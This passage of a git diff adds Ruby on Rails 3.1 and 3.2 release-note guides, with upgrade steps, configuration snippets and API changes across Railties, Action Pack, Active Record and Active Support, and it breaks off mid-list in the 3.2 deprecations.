`ActiveRecord::Associations`. +* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby. + +The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9. + +* `Integer#even?` and `Integer#odd?` +* `String#each_char` +* `String#start_with?` and `String#end_with?` (3rd person aliases still kept) +* `String#bytesize` +* `Object#tap` +* `Symbol#to_proc` +* `Object#instance_variable_defined?` +* `Enumerable#none?` + +The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not. + +The following methods have been removed because they are no longer used in the framework: + +* `Kernel#daemonize` +* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by` +* `Class#remove_class` +* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures` + + +Action Mailer +------------- + +Action Mailer has been given a new API with TMail being replaced out with the new [Mail](https://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. + +* All mailers are now in `app/mailers` by default. +* Can now send email using new API with three methods: `attachments`, `headers` and `mail`. +* Action Mailer now has native support for inline attachments using the `attachments.inline` method. +* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself. +* All delivery methods are now abstracted out to the Mail gem. +* The mail delivery method can accept a hash of all valid mail header fields with their value pair. +* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed. +* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options. +* What were mailer unit tests have been moved to functional tests. +* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem +* Action Mailer will auto encode email bodies and headers for you + +Deprecations: + +* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations. +* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object. +* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`. +* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block +* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view. +* Mailers being in `app/models` is deprecated, use `app/mailers` instead. + +More Information: + +* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) +* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released) + + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them. + +Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net). diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md new file mode 100644 index 0000000000..d6981656ee --- /dev/null +++ b/guides/source/3_1_release_notes.md @@ -0,0 +1,561 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 3.1 Release Notes +=============================== + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 3.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +### Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +### What to update in your apps + +The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. + +#### Gemfile + +Make the following changes to your `Gemfile`. + +```ruby +gem 'rails', '= 3.1.3' +gem 'mysql2' + +# Needed for the new asset pipeline +group :assets do + gem 'sass-rails', "~> 3.1.5" + gem 'coffee-rails', "~> 3.1.1" + gem 'uglifier', ">= 1.0.3" +end + +# jQuery is the default JavaScript library in Rails 3.1 +gem 'jquery-rails' +``` + +#### config/application.rb + +* The asset pipeline requires the following additions: + + ```ruby + config.assets.enabled = true + config.assets.version = '1.0' + ``` + +* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: + + ```ruby + # Defaults to '/assets' + config.assets.prefix = '/asset-files' + ``` + +#### config/environments/development.rb + +* Remove the RJS setting `config.action_view.debug_rjs = true`. + +* Add the following, if you enable the asset pipeline. + + ```ruby + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true + ``` + +#### config/environments/production.rb + +* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide. + + ```ruby + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + + # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) + # config.assets.precompile `= %w( admin.js admin.css ) + + + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. + # config.force_ssl = true + ``` + +#### config/environments/test.rb + +```ruby +# Configure static asset server for tests with Cache-Control for performance +config.serve_static_assets = true +config.static_cache_control = "public, max-age=3600" +``` + +#### config/initializers/wrap_parameters.rb + +* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. + + ```ruby + # Be sure to restart your server when you modify this file. + # This file contains settings for ActionController::ParamsWrapper which + # is enabled by default. + + # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. + ActiveSupport.on_load(:action_controller) do + wrap_parameters :format => [:json] + end + + # Disable root element in JSON by default. + ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false + end + ``` + +#### Remove :cache and :concat options in asset helpers references in views + +* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views. + +Creating a Rails 3.1 application +-------------------------------- + +```bash +# You should have the 'rails' RubyGem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - [bundler homepage](https://bundler.io/) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +```bash +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +```bash +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +``` + +Rails Architectural Changes +--------------------------- + +### Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by [Sprockets](https://github.com/rails/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide. + +### HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it. + +### Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +```bash +$ rails new myapp -j prototype +``` + +### Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +Railties +-------- + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the `jquery-rails` and `prototype-rails` gems. + +* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol. + +* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack. + +* Added `Rack::Cache` to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +Action Pack +----------- + +### Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used. + +* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log. + +* URL parameters which return `nil` for `to_param` are now removed from the query string. + +* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`. + +* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options. + +* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call. + + ```ruby + class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end + end + ``` + + ..can now be written as + + ```ruby + class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + end + ``` + +* Added streaming support, you can enable it with: + + ```ruby + class PostsController < ActionController::Base + stream + end + ``` + + You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +### Action Dispatch + +* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`. + +* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array. + +* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers. + +* Added `Rack::Cache` to the default stack. + +* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack. + +* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`. + +* Template lookup now searches further up in the inheritance chain. + +### Action View + +* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`. + +* Created `ActionView::Renderer` and specified an API for `ActionView::Context`. + +* In place `SafeBuffer` mutation is prohibited in Rails 3.1. + +* Added HTML5 `button_tag` helper. + +* `file_field` automatically adds `:multipart => true` to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options: + + ```ruby + tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) + # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> + ``` + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`. + +* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink) + +Active Record +------------- + +* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`. + + ```ruby + class User < ActiveRecord::Base + self.pluralize_table_names = false + end + ``` + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + + ```ruby + class User < ActiveRecord::Base + has_one :account + end + + user.build_account{ |a| a.credit_limit = 100.0 } + ``` + +* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + + ```ruby + class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin + end + + Post.new(params[:post], :as => :admin) + ``` + +* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records. + +* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations. + +* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`. + +* limits and offsets are removed from COUNT queries unless both are supplied. + + ```ruby + People.limit(1).count # => 'SELECT COUNT(*) FROM people' + People.offset(1).count # => 'SELECT COUNT(*) FROM people' + People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' + ``` + +* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead. + +* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`. + +* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement. + + ```ruby + change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime + end + ``` + +* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used. + +* Added a `create_association!` method for `has_one` and `belongs_to` associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method. + + ```ruby + class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end + end + ``` + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: + + ```ruby + class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end + end + ``` + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + + ```ruby + has_many :things, :conditions => 'foo = #{bar}' # before + has_many :things, :conditions => proc { "foo = #{bar}" } # after + ``` + + Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within. + + You can have any "normal" conditions inside the proc, so the following will work too: + + ```ruby + has_many :things, :conditions => proc { ["foo = ?", bar] } + ``` + +* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting. + + ```ruby + # Schema: User(name:string, password_digest:string, password_salt:string) + class User < ActiveRecord::Base + has_secure_password + end + ``` + +* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns. + +* Setting the id of a `belongs_to` object will update the reference to the object. + +* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +Active Model +------------ + +* `attr_accessible` accepts an option `:as` to specify a role. + +* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`. + +* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* `ActiveModel::AttributeMethods` allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate `I18n` namespace lookup is no longer supported. + +Active Resource +--------------- + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example, + + ```ruby + class User < ActiveResource::Base + self.format = :xml + end + ``` + +Active Support +-------------- + +* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`. + +* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`. + +* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object. + +* Added `Object#in?` to test if an object is included in another object. + +* `LocalCache` strategy is now a real middleware class and no longer an anonymous class. + +* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes. + +* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`. + +* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8. + +* Added `weeks_ago` and `prev_week` to Date/DateTime/Time. + +* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`. + +Deprecations: + +* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library. + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev) diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md new file mode 100644 index 0000000000..d4c9bf357d --- /dev/null +++ b/guides/source/3_2_release_notes.md @@ -0,0 +1,570 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 3.2 Release Notes +=============================== + +Highlights in Rails 3.2: + +* Faster Development Mode +* New Routing Engine +* Automatic Query Explains +* Tagged Logging + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 3.2 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes: + +### Rails 3.2 requires at least Ruby 1.8.7 + +Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. + +### What to update in your apps + +* Update your `Gemfile` to depend on + * `rails = 3.2.0` + * `sass-rails ~> 3.2.3` + * `coffee-rails ~> 3.2.1` + * `uglifier >= 1.0.3` + +* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. + +* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`: + + ```ruby + # Raise exception on mass assignment protection for Active Record models + config.active_record.mass_assignment_sanitizer = :strict + + # Log the query plan for queries taking more than this (works + # with SQLite, MySQL, and PostgreSQL) + config.active_record.auto_explain_threshold_in_seconds = 0.5 + ``` + + The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`: + + ```ruby + # Raise exception on mass assignment protection for Active Record models + config.active_record.mass_assignment_sanitizer = :strict + ``` + +### What to update in your engines + +Replace the code beneath the comment in `script/rails` with the following content: + +```ruby +ENGINE_ROOT = File.expand_path('../..', __FILE__) +ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__) + +require 'rails/all' +require 'rails/engine/commands' +``` + +Creating a Rails 3.2 application +-------------------------------- + +```bash +# You should have the 'rails' RubyGem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: [Bundler homepage](https://bundler.io/) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +```bash +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +```bash +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +``` + +Major Features +-------------- + +### Faster Development Mode & Routing + +Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine. + +### Automatic Query Explains + +Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations. + +Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. + +### Tagged Logging + +When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. + +Documentation +------------- + +From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc. + +Railties +-------- + +* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false. + +* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`. + +* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. + +* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware. + +* Display mounted engines' routes in `rake routes`. + +* Allow to change the loading order of railties with `config.railties_order` like: + + ```ruby + config.railties_order = [Blog::Engine, :main_app, :all] + ``` + +* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. + +* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. + +* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory. + +* Add an alias `d` for `destroy`. This works for engines too. + +* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author` + +* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example, + + ```ruby + rails g scaffold Post title:string:index author:uniq price:decimal{7,2} + ``` + + will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively. + +* Turn gem has been removed from default `Gemfile`. + +* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command. + +* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`. + +#### Deprecations + +* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies. + +Action Mailer +------------- + +* Upgraded `mail` version to 2.4.0. + +* Removed the old Action Mailer API which was deprecated since Rails 3.0. + +Action Pack +----------- + +### Action Controller + +* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be. + +* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`. + +* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail. + + ```ruby + class CarsController + layout 'single_car', :only => :show + end + ``` + + Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions. + +* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`. + +* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. + +* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. + +* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors. + +* Responders now return 204 No Content for API requests without a response body (as in the new scaffold). + +* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]` + + ```ruby + cookies[:email] = 'user@example.com' + get :index + assert_equal 'user@example.com', cookies[:email] + ``` + + To clear the cookies, use `clear`. + + ```ruby + cookies.clear + get :index + assert_nil cookies[:email] + ``` + + We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created. + +* `send_file` now guesses the MIME type from the file extension if `:type` is not provided. + +* MIME type entries for PDF, ZIP and other formats were added. + +* Allow `fresh_when/stale?` to take a record instead of an options hash. + +* Changed log level of warning for missing CSRF token from `:debug` to `:warn`. + +* Assets should use the request protocol by default or default to relative if no request is available. + +#### Deprecations + +* Deprecated implied layout lookup in controllers whose parent had an explicit layout set: + + ```ruby + class ApplicationController + layout "application" + end + + class PostsController < ApplicationController + end + ``` + + In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. + +* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`. + +* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`. + +* Deprecated 